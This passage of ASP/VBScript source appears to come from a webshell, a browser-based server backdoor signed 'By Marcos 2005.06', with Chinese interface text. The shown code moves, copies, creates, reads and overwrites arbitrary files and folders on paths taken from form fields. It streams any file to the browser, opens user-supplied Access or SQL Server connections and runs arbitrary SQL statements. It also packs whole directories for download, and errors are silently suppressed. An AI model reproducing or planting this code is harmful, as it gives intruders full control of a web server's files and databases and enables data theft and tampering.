  750.         If theAct = "move" Then
  751.             strMoveTo = strMoveTo & "\"
  752.          Else
  753.             strCopyTo = strCopyTo & "\"
  754.         End If
  755.  
  756.         For Each objX In Request.Form("checkBox")
  757.             If theAct = "move" Then
  758.                 If InStr(strMoveTo, strPath & objX) > 0 Then
  759.                     ShowErr("目标文件夹不能在源文件夹内")
  760.                 End If
  761.                 If fso.FileExists(strPath & objX) = True Then
  762.                     Call fso.MoveFile(strPath & objX, strMoveTo & objX)
  763.                  Else
  764.                     Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
  765.                 End If
  766.              Else
  767.                 If InStr(strCopyTo, strPath & objX) > 0 Then
  768.                     ShowErr("目标文件夹不能在源文件夹内")
  769.                 End If
  770.                 If fso.FileExists(strPath & objX) = True Then
  771.                     Call fso.CopyFile(strPath & objX, strCopyTo & objX)
  772.                  Else
  773.                     Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
  774.                 End If
  775.             End If
  776.             ChkErr(Err)
  777.         Next
  778.     End Sub
  779.  
  780.     Sub NewOne()
  781.         Dim objX, strPath, aryParam
  782.         If isDebugMode = False Then On Error Resume Next
  783.         aryParam = Split(GetPost("param"), ",")
  784.         strPath = GetPost("truePath") & "\" & aryParam(0)
  785.  
  786.         If aryParam(1) = "file" Then
  787.             Call fso.CreateTextFile(strPath, False)
  788.          Else
  789.             fso.CreateFolder(strPath)
  790.         End If
  791.     End Sub
  792.    
  793.     Sub ShowEdit()
  794.         Dim theFile, strPath
  795.         If isDebugMode = False Then On Error Resume Next
  796.         strPath = GetPost("truePath") & "\" & GetPost("param")
  797.         If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
  798.         Set theFile = fso.OpenTextFile(strPath, 1, False)
  799.         ChkErr(Err)
  800.  
  801.         echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
  802.         echo "<tr>"
  803.         echo "<td class=td><font face=webdings>8</font> FSO文本编辑器</td>"
  804.         echo "</tr>"
  805.         echo "<tr>"
  806.         echo "<td class=trHead>&nbsp;</td>"
  807.         echo "</tr>"
  808.         echo "<form method=post action=" & url & ">"
  809.         echo "<input type=hidden name=theAct>"
  810.         echo "<input type=hidden value=PageFso name=PageName>"
  811.         echo "<tr>"
  812.         echo "<td height=22>&nbsp;<input name=truePath value=""" & strPath & """ style=width:500px;>"
  813.         echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>"
  814.         echo "</tr>"
  815.         echo "<tr>"
  816.         echo "<td>&nbsp;<textarea name=fileContent style='width:735px;height:100%;'>"
  817.         echo HtmlEncode(theFile.ReadAll())
  818.         echo "</textarea></td>"
  819.         echo "</tr>"
  820.         echo "<tr>"
  821.         echo "<td class=trHead>&nbsp;</td>"
  822.         echo "</tr>"
  823.         echo "<tr>"
  824.         echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('确认保存修改?')){this.form.theAct.value='save';this.form.submit();}"">"
  825.         echo "<input type=reset value=重置><input type=button onclick=window.close(); value=关闭>"
  826. '       echo "<input type=button value=查看 title='在新窗口中打开该文件链接' onclick=preView('2');>"
  827.         echo "<input type=button value=预览 onclick=preView('1'); title='以HTML方式在新窗口中预览当前代码'></td>"
  828.         echo "</tr>"
  829.         echo "</form>"
  830.         echo "</table>"
  831.  
  832.         Set theFile = Nothing
  833.     End Sub
  834.    
  835.     Sub SaveToFile()
  836.         Dim theFile, strPath, fileContent
  837.         If isDebugMode = False Then On Error Resume Next
  838.         fileContent = GetPost("fileContent")
  839.         strPath = GetPost("truePath")
  840.  
  841.         Set theFile = fso.OpenTextFile(strPath, 2, True)
  842.         theFile.Write fileContent
  843.         theFile.Close
  844.         ChkErr(Err)
  845.        
  846.         Set theFile = Nothing
  847.     End Sub
  848.    
  849.     Sub SaveAs()
  850.         Dim strPath, aryParam, isFile
  851.         If isDebugMode = False Then On Error Resume Next
  852.         aryParam = Split(GetPost("param"), ",")
  853.         aryParam(0) = aryParam(0)
  854.         aryParam(1) = aryParam(1)
  855.         isFile = fso.FileExists(aryParam(0))
  856.        
  857.         If isFile = True Then
  858.             fso.CopyFile aryParam(0), aryParam(1), False
  859.          Else
  860.             fso.CopyFolder aryParam(0), aryParam(1), False
  861.         End If
  862.        
  863.         ChkErr(Err)
  864.     End Sub
  865.  
  866.     Sub ShowImage()
  867.         Dim stream, strPath, fileContentType
  868.         If isDebugMode = False Then On Error Resume Next
  869.         strPath = GetPost("truePath") & "\" & GetPost("param")
  870.  
  871.         Set stream = Server.CreateObject("adodb.stream")
  872.         stream.Open
  873.         stream.Type = 1
  874.         stream.LoadFromFile(strPath)
  875.         ChkErr(Err)
  876.         Response.Clear
  877.         Response.BinaryWrite stream.Read
  878.         stream.Close
  879.  
  880.         Set stream = Nothing
  881.     End Sub
  882.  
  883.     Sub PageDBTool()
  884.         ShowTitle("Access + SQL Server 数据库操作")
  885.         echo "<form method=post action=""" & url & """>"
  886.  
  887.         If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
  888.             SqlShowEdit()
  889.             echo "</form>"
  890.             Response.End()
  891.         End If
  892.  
  893.         ShowDBTool()
  894.        
  895.         Select Case theAct
  896.             Case "Query"
  897.                 ShowQuery()
  898.             Case "ShowTables"
  899.                 ShowTables()
  900.         End Select
  901.        
  902.         echo "</form>"
  903.     End Sub
  904.  
  905.     Sub ShowDBTool()
  906.         echo "<table width=750>"
  907.         echo "<input type=hidden value=PageDBTool name=PageName>"
  908.         echo "<input type=hidden name=theAct>"
  909.         echo "<input type=hidden name=param>"
  910.         echo "<tr>"
  911.         echo "<td class=td><font face=webdings>8</font> Access + SQL Server 数据库操作</td>"
  912.         echo "</tr>"
  913.         echo "<tr>"
  914.         echo "<td class=trHead>&nbsp;</td>"
  915.         echo "</tr>"
  916.         echo "<tr>"
  917.         echo "<td height=50 align=center>"
  918.         echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
  919.         echo "</td>"
  920.         echo "</tr>"
  921.         echo "<tr>"
  922.         echo "<td class=trHead>&nbsp;</td>"
  923.         echo "</tr>"
  924.         echo "<tr>"
  925.         echo "<td align=center class=td>"
  926.         echo "<input type=submit name=Submit value=提交 onclick=""this.form.theAct.value='ShowTables';"">"
  927.         echo "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
  928.         echo "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
  929.         echo "<input type=reset value=重置>"
  930.         echo "</td>"
  931.         echo "</tr>"
  932.         echo "</table>"
  933.     End Sub
  934.  
  935.     Sub ShowTables()
  936.         Dim Cat, objTable, objColumn, intColSpan, objSchema
  937.         If isDebugMode = False Then On Error Resume Next
  938.  
  939.         echo "<br/><table width=750>"
  940.         echo "<tr>"
  941.         echo "<td class=td colspan=2><font face=webdings>8</font> 数据表及结构查看</td>"
  942.         echo "</tr>"
  943.         echo "<tr>"
  944.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  945.         echo "</tr>"
  946.        
  947.         CreateConn()
  948.         Set Cat = Server.CreateObject("ADOX.Catalog")
  949.         Cat.ActiveConnection = conn.ConnectionString
  950.         echo "<tr><td width='20%' valign=top>"
  951.         For Each objTable In Cat.Tables
  952.             echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
  953.             echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
  954.         Next
  955.         echo "</td><td>"
  956.         intColSpan = IIf(isSqlServer = True, "4", "6")
  957.        
  958.         For Each objTable In Cat.Tables
  959.             echo "<table width=98% align=center>"
  960.             echo "<tr>"
  961.             echo "<td class=trHead colspan=" & intColSpan & ">&nbsp;</td>"
  962.             echo "</tr>"
  963.             echo "<tr>"
  964.             echo "<td colspan=" & intColSpan & " class=td>&nbsp;<strong>"
  965.             echo objTable.Name & "</strong></td>"
  966.             echo "</tr>"
  967.            
  968.             echo "<tr align=center>"
  969.             echo "<td align=left width=*>&nbsp;列名</td>"
  970.             echo "<td width=80>类型</td>"
  971.             echo "<td width=60>大小</td>"
  972.             echo "<td width=60>可否为空</td>"
  973.             If isSqlServer = False Then
  974.                 echo "<td width=50>默认值</td>"
  975.                 echo "<td width=100>描述</td>"
  976.             End If
  977.             echo "</tr>"
  978.            
  979.             For Each objColumn In Cat.Tables(objTable.Name).Columns
  980.                 echo "<tr align=center>"
  981.                 echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
  982.                 echo "<td>" & GetDataType(objColumn.Type) & "</td>"
  983.                 If objColumn.DefinedSize <> 0 Then
  984.                     echo "<td>" & objColumn.DefinedSize & "</td>"
  985.                  Else
  986.                     echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, "&nbsp;") & "</td>"
  987.                 End If
  988.                 echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
  989.                 If isSqlServer = False Then
  990.                     echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
  991.                     echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
  992.                     echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
  993.                     echo objColumn.Properties("Description") & "</span></td>"
  994.                 End If
  995.                 echo "</tr>"
  996.             Next
  997.  
  998.             echo "<tr>"
  999.             echo "<td colspan=" & intColSpan & " class=td>&nbsp;</td>"
  1000.             echo "</tr>"
  1001.             echo "</table><br/>"
  1002.         Next
  1003.  
  1004.         echo "</td>"
  1005.         echo "</tr>"
  1006.  
  1007.         echo "<tr>"
  1008.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  1009.         echo "</tr>"
  1010.         echo "<tr>"
  1011.         echo "<td colspan=2 class=td align=right>By Marcos 2005.06&nbsp;</td>"
  1012.         echo "</tr>"
  1013.         echo "</table>"
  1014.        
  1015.         Set Cat = Nothing
  1016.         DestoryConn()
  1017.     End Sub
  1018.  
  1019.     Sub ShowQuery()
  1020.         Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
  1021.         If isDebugMode = False Then On Error Resume Next
  1022.         sql = GetPost("sql")
  1023.         strParam = GetPost("param")
  1024.         strTable = GetPost("theTable")
  1025.         Set rs = Server.CreateObject("Adodb.RecordSet")
  1026.  
  1027.         If IsNumeric(strParam) = True Then
  1028.             intPage = strParam
  1029.          Else
  1030.             intPage = 1
  1031.             strTable = strParam
  1032.             sql = ""
  1033.         End If
  1034.         If sql = "" Then
  1035.             sql = "Select * From [" & strTable & "]"
  1036.         End If
  1037.  
  1038.         For i = 1 To Request.Form("KeyWord").Count
  1039.             If Request.Form("KeyWord")(i) <> "" Then
  1040.                 sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
  1041.                 sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
  1042.                 sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
  1043.             End If
  1044.         Next
  1045.         If sqlB <> "" Then
  1046.             sql = "Select * From [" & strTable & "] Where " & sqlB
  1047.             If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
  1048.             If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
  1049.         End If
  1050.  
  1051.         echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
  1052.         echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
  1053.         echo " <input type=button value=执行查询 onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">"
  1054.         echo "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
  1055.         echo "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
  1056.         echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
  1057.         echo "<br/><table width=750>"
  1058.         echo "<tr>"
  1059.         echo "<td class=td colspan=2><font face=webdings>8</font> SQL查询器</td>"
  1060.         echo "</tr>"
  1061.         echo "<tr>"
  1062.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  1063.         echo "</tr>"
  1064.  
  1065.         CreateConn()
  1066.         Set Cat = Server.CreateObject("ADOX.Catalog")
  1067.         Cat.ActiveConnection = conn.ConnectionString
  1068.         echo "<tr><td width='20%' valign=top>"
  1069.         For Each objTable In Cat.Tables
  1070.             echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
  1071.             echo "style='width:94%;padding-left:8px;cursor:hand;'>"
  1072.             If strTable = objTable.Name Then
  1073.                 echo "<u>" & objTable.Name & "</u>"
  1074.              Else
  1075.                 echo objTable.Name
  1076.             End If
  1077.             echo "</span>"
  1078.         Next
  1079.         echo "</td><td valign=top>"
  1080.  
  1081.         If LCase(Left(sql, 7)) = "select " Then
  1082.             rs.Open sql, conn, 1, 1
  1083.             ChkErr(Err)
  1084.             rs.PageSize = PageSize
  1085.             If Not rs.Eof Then
  1086.                 rs.AbsolutePage = intPage
  1087.             End If
  1088.    
  1089.             echo "<div align=left><table border=1 width=490>"
  1090.             echo "<tr>"
  1091.             echo "<td height=22 class=trHead>&nbsp;</td>"
  1092.             echo "</tr>"
  1093.             echo "<tr>"
  1094.             echo "<td height=22 class=td width=100>&nbsp;查询</td>"
  1095.             echo "</tr><tr><td align=center>"
  1096.             echo "<div><select name=Fields>"
  1097.             For Each x In rs.Fields
  1098.                 echo "<option value=""" & x.Name & """>" & x.Name & "</option>"
  1099.             Next
  1100.             echo "</select>"
  1101.             echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
  1102.             echo "<input name=KeyWord style='width:200px;'>"
  1103.             echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
  1104.             echo "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
  1105.             echo "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
  1106.             echo "<input type=button value=查询 onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
  1107.             echo "</td></tr>"
  1108.             echo "<tr><td class=td>&nbsp;</td></tr>"
  1109.             echo "</table></div><br/>"
  1110.            
  1111.             If rs.Fields.Count > 0 Then
  1112.                 strPrimaryKey = GetPrimaryKey(strTable)
  1113.    
  1114.                 echo "<table border=1 align=left cellpadding=0 cellspacing=0>"
  1115.                 echo "<tr>"
  1116.                 echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & ">&nbsp;</td>"
  1117.                 echo "</tr>"
  1118.                 echo "<tr>"
  1119.                 echo "<td height=22 class=td width=100 align=center>操作</td>"
  1120.                 For j = 0 To rs.Fields.Count - 1
  1121.                     echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
  1122.                 Next
  1123.                 For i = 1 To rs.PageSize
  1124.                     If rs.Eof Then Exit For
  1125.                     echo "</tr>"
  1126.                     echo "<tr valign=top>"
  1127.                     echo "<td height=22 align=center>"
  1128.                     If strPrimaryKey <> "" Then
  1129.                         echo "<input type=button value=编辑 title='编辑/添加' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
  1130.                         echo "<input type=button value=删除 onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
  1131.                      Else
  1132.                         echo "<input type=button value=编辑 title='编辑/添加' onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
  1133.                         echo "<input type=button value=删除 onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
  1134.                     End If
  1135.                     For j = 0 To rs.Fields.Count - 1
  1136.                         echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
  1137.                     Next
  1138.                     echo "</tr>"
  1139.                     rs.MoveNext
  1140.                 Next
  1141.             End If
  1142.             echo "<tr>"
  1143.             echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & ">&nbsp;Page: "
  1144.             For i = 1 To rs.PageCount
  1145.                 If i > maxPageCount Then
  1146.                     echo "..."
  1147.                     Exit For
  1148.                 End If
  1149.                 echo Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
  1150.             Next
  1151.             echo "</td></tr></table>"
  1152.             rs.Close
  1153.          Else
  1154.             conn.Execute(sql)
  1155.             ChkErr(Err)
  1156.             echo "<script>alert('查询执行成功,按确定返回.\n刷新后可以看到执行效果.');history.back();</script>"
  1157.             Set rs = Nothing
  1158.             Set Cat = Nothing
  1159.             DestoryConn()
  1160.             Exit Sub
  1161.         End If
  1162.  
  1163.         echo "</td>"
  1164.         echo "</tr>"
  1165.  
  1166.         echo "<tr>"
  1167.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  1168.         echo "</tr>"
  1169.         echo "<tr>"
  1170.         echo "<td colspan=2 class=td align=right>By Marcos 2005.06&nbsp;</td>"
  1171.         echo "</tr>"
  1172.         echo "</table>"
  1173.        
  1174.         Set rs = Nothing
  1175.         Set Cat = Nothing
  1176.         DestoryConn()
  1177.     End Sub
  1178.  
  1179.     Sub SqlShowEdit()
  1180.         Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
  1181.         Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
  1182.         If isDebugMode = False Then On Error Resume Next
  1183.         sql = GetPost("sql")
  1184.         strParam = GetPost("param")
  1185.         strTable = GetPost("theTable")
  1186.         intI = InStr(strParam, "!")
  1187.         intFindI = InStr(LCase(sql), " where")
  1188.         intFindJ = InStrRev(LCase(sql), "order ")
  1189.         intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
  1190.         strValue = Mid(strParam, intI + 1)
  1191.         strColumn = Left(strParam, intI - 1)
  1192.         strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
  1193.        
  1194.         If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
  1195.         If intFindI > 0 Then
  1196.             strJoinTag = ") And "
  1197.             sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
  1198.          Else
  1199.             strJoinTag = " Where "
  1200.         End If
  1201.         If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))
  1202.  
  1203.         CreateConn()
  1204.         strPrimaryKey = GetPrimaryKey(strTable)
  1205.         Set rs = Server.CreateObject("Adodb.RecordSet")
  1206.  
  1207.         If strExtra <> "" And IsNumeric(strValue) = True Then
  1208.             sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
  1209.             sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
  1210.          Else
  1211.             sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
  1212.         End If
  1213.  
  1214.         intFindM = InStr(LCase(sql), "from")
  1215.         intFindI = InStr(LCase(sql), " where")
  1216.         intFindL = InStr(intFindM, LCase(sql), ",", 1)
  1217.         If intFindL > 0 Then
  1218.             If (intFindL > intFindM) And (intFindL < intFindI) Then
  1219.                 multiTables = True
  1220.             End If
  1221.         End If
  1222.        
  1223.         If theAct <> "edit" Then
  1224.             rs.Open sql, conn, 1, 3
  1225.             ChkErr(Err)
  1226.             If rs.Eof Then
  1227.                 echo "<script>alert('该记录不存在!');history.back();</script>"
  1228.                 Response.End()
  1229.             End If
  1230.  
  1231.             If theAct = "new" Then rs.AddNew
  1232.  
  1233.             If theAct = "del" Then
  1234.                 rs.Delete
  1235.                 rs.Update
  1236.                 AlertThenClose("删除成功!")
  1237.                 Response.End
  1238.              Else
  1239.                 If theAct <> "pre" And theAct <> "next" Then
  1240.                     For Each x In rs.Fields
  1241.                         If strPrimaryKey <> x.Name Then
  1242.                             rs(x.Name) = Request.Form(x.Name & "_Column")
  1243.                         End If
  1244.                     Next
  1245.                     rs.Update
  1246.                 End If
  1247.                 strValue = rs(strColumn)
  1248.             End If
  1249.  
  1250.             If theAct = "new" Then
  1251.                 sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
  1252.             End If
  1253.             rs.Close
  1254.         End If
  1255.  
  1256.         rs.Open sql, conn, 1, 1
  1257.  
  1258.         echo "<table border=1 width=600>"
  1259.         echo "<tr>"
  1260.         echo "<td height=22 class=trHead colspan=2>&nbsp;</td>"
  1261.         echo "</tr>"
  1262.         echo "<tr>"
  1263.         echo "<td colspan=2 class=td><font face=webdings>8</font> SQL数据修改</td>"
  1264.         echo "</tr>"
  1265.         echo "<input type=hidden value=PageDBTool name=PageName>"
  1266.         echo "<input type=hidden name=theAct value=save>"
  1267.         echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
  1268.         echo "<input type=hidden name=theTable value=""" & strTable & """>"
  1269.         echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
  1270.         echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"
  1271.  
  1272.         For Each x In rs.Fields
  1273.             echo "<tr>"
  1274.             echo "<td height=22 width=150>&nbsp;" & HtmlEncode(x.Name) & "<br/>&nbsp;(<em>" & GetDataType(x.Type) & "</em>)</td>"
  1275.             echo "<td width=450>&nbsp;"
  1276.             echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
  1277.             echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "")
  1278.             echo IIf(x.Name = strPrimaryKey, " title='主键,由于主键约束,将无法被修改,也不能出现相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
  1279.             echo "</td></tr>"
  1280.         Next
  1281.         echo "<tr>"
  1282.         echo "<td colspan=2 class=td align=center>"
  1283.         If multiTables = False Then
  1284.             If strPrimaryKey = "" Then
  1285.                 echo "<input type=button value=修改 onclick=if(confirm('确定要修改这条记录吗?\n此表没有主键,继续操作可能会导致数据库灾难,并且该错误无法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
  1286.              Else
  1287.                 echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
  1288.                 echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.theAct.value='new';this.form.submit();};>"
  1289.                 echo "<input type=button value=删除 onclick=if(confirm('确实删除当前记录吗?')){this.form.theAct.value='del';this.form.submit();};>"
  1290.             End If
  1291.          Else
  1292.             echo "<input type=button value=暂不支持多表操作 disabled>"
  1293.         End If
  1294.         echo "<input type=reset value=重置><input type=button value=关闭 onclick='window.close();'>"
  1295.         If IsNumeric(strValue) = True Then
  1296.             echo "<input type=button value=上一条 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
  1297.             echo "<input type=button value=下一条 onclick=""this.form.theAct.value='next';this.form.submit();"">"
  1298.         End If
  1299.         echo "</td>"
  1300.         echo "</tr>"
  1301.         echo "</table>"
  1302.        
  1303.         rs.Close
  1304.         Set rs = Nothing
  1305.         DestoryConn()
  1306.     End Sub
  1307.  
  1308.     Sub CreateConn()
  1309.         Dim connStr, mdbInfo, userName, passWord, strPath
  1310.         If isDebugMode = False Then On Error Resume Next
  1311.         Set conn = Server.CreateObject("Adodb.Connection")
  1312.         If LCase(Left(thePath, 4)) = "sql:" Then
  1313.             connStr = Mid(thePath, 5)
  1314.             isSqlServer = True
  1315.          Else
  1316.             mdbInfo = Split(thePath, ";")
  1317.             strPath = mdbInfo(0)
  1318.             strPath = strPath
  1319.             ChkErr(Err)
  1320.             If UBound(mdbInfo) >= 2 Then
  1321.                 userName = mdbInfo(1)
  1322.                 passWord = mdbInfo(2)
  1323.             End If
  1324.             connStr = Replace(accessStr, "{$dbSource}", strPath)
  1325.             connStr = Replace(connStr, "{$userId}", userName)
  1326.             connStr = Replace(connStr, "{$passWord}", passWord)
  1327.         end if
  1328.         conn.Open connStr
  1329.         ChkErr(Err)
  1330.     End Sub
  1331.    
  1332.     Sub DestoryConn()
  1333.         conn.Close
  1334.         Set conn = Nothing
  1335.     End Sub
  1336.    
  1337.     Function GetDataType(flag)
  1338.         Dim str
  1339.         Select Case flag
  1340.             Case 0 : str = "EMPTY"
  1341.             Case 2 : str = "SMALLINT"
  1342.             Case 3 : str = "INTEGER"
  1343.             Case 4 : str = "SINGLE"
  1344.             Case 5 : str = "DOUBLE"
  1345.             Case 6 : str = "CURRENCY"
  1346.             Case 7 : str = "DATE"
  1347.             Case 8 : str = "BSTR"
  1348.             Case 9 : str = "IDISPATCH"
  1349.             Case 10 : str = "ERROR"
  1350.             Case 11 : str = "BIT"
  1351.             Case 12 : str = "VARIANT"
  1352.             Case 13 : str = "IUNKNOWN"
  1353.             Case 14 : str = "DECIMAL"
  1354.             Case 16 : str = "TINYINT"
  1355.             Case 17 : str = "UNSIGNEDTINYINT"
  1356.             Case 18 : str = "UNSIGNEDSMALLINT"
  1357.             Case 19 : str = "UNSIGNEDINT"
  1358.             Case 20 : str = "BIGINT"
  1359.             Case 21 : str = "UNSIGNEDBIGINT"
  1360.             Case 72 : str = "GUID"
  1361.             Case 128 : str = "BINARY"
  1362.             Case 129 : str = "CHAR"
  1363.             Case 130 : str = "WCHAR"
  1364.             Case 131 : str = "NUMERIC"
  1365.             Case 132 : str = "USERDEFINED"
  1366.             Case 133 : str = "DBDATE"
  1367.             Case 134 : str = "DBTIME"
  1368.             Case 135 : str = "DBTIMESTAMP"
  1369.             Case 136 : str = "CHAPTER"
  1370.             Case 200 : str = "VARCHAR"
  1371.             Case 201 : str = "LONGVARCHAR"
  1372.             Case 202 : str = "VARWCHAR"
  1373.             Case 203 : str = "LONGVARWCHAR"
  1374.             Case 204 : str = "VARBINARY"
  1375.             Case 205 : str = "LONGVARBINARY"
  1376.             Case Else : str = flag
  1377.         End Select
  1378.         GetDataType = str
  1379.     End Function
  1380.    
  1381.     Function GetPrimaryKey(strTable)
  1382.         Dim rsPrimary
  1383.         If isDebugMode = False Then On Error Resume Next
  1384.         Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
  1385.         If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
  1386.         Set rsPrimary = Nothing
  1387.     End Function
  1388.  
  1389.     Sub PagePack()
  1390.         ShowTitle("文件夹打包/解开器")
  1391.         Server.ScriptTimeOut = 5000
  1392.        
  1393.         If theAct = "PackIt" Or theAct = "PackOne" Then
  1394.             PackIt()
  1395.             AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件.\n下载下来后可以使用unpack.vbs进行解开.")
  1396.             Response.End()
  1397.         End If
  1398.         If theAct = "UnPack" Then
  1399.             UnPack()
  1400.             AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.")
  1401.             Response.End()
  1402.         End If
  1403.        
  1404.         PackTable()
  1405.     End Sub
  1406.    
  1407.     Sub PackTable()
  1408.         echo "<base target=_blank>"
  1409.         echo "<table width=750 border=1>"
  1410.         echo "<tr>"
  1411.         echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夹打包/解开器(需FSO支持)"
  1412.         echo "</td>"
  1413.         echo "</tr>"
  1414.         echo "<tr>"
  1415.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  1416.         echo "</tr>"
  1417.         echo "<form method=post action='" & url & "'>"
  1418.         echo "<tr>"
  1419.         echo "<td width='20%'>&nbsp;打包</td>"
  1420.         echo "<td>&nbsp;<input name=thePath value='" & HtmlEncode(rootPath) & "' style='width:467px;'> "
  1421.         echo "<input type=hidden value=PagePack name=PageName>"
  1422.         echo "<input type=hidden value=PackIt name=theAct>"
  1423.         echo "<input type=submit value='开始打包'>"
  1424.         echo "</td></tr>"
  1425.         echo "</form>"
  1426.         echo "<form method=post action='" & url & "'>"
  1427.         echo "<tr>"
  1428.         echo "<td>&nbsp;解包</td>"
  1429.         echo "<td>&nbsp;<input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> "
  1430.         echo "<input type=hidden value=PagePack name=PageName>"
  1431.         echo "<input type=hidden value=UnPack name=theAct>"
  1432.         echo "<input type=submit value='开始解包'>"
  1433.         echo "</td></tr>"
  1434.         echo "</form>"
  1435.         echo "<tr>"
  1436.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  1437.         echo "</tr>"
  1438.         echo "<tr align=right>"
  1439.         echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
  1440.         echo "</tr>"
  1441.         echo "</table>"
  1442.     End Sub
  1443.  
  1444.     Sub PackIt()
  1445.         Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
  1446.         If isDebugMode = False Then On Error Resume Next
  1447.  
  1448.         strPath = thePath
  1449.         db = strPath & "\" & sPacketName
  1450.         Set rs = Server.CreateObject("ADODB.RecordSet")
  1451.         Set stream = Server.CreateObject("ADODB.Stream")
  1452.         Set conn = Server.CreateObject("ADODB.Connection")
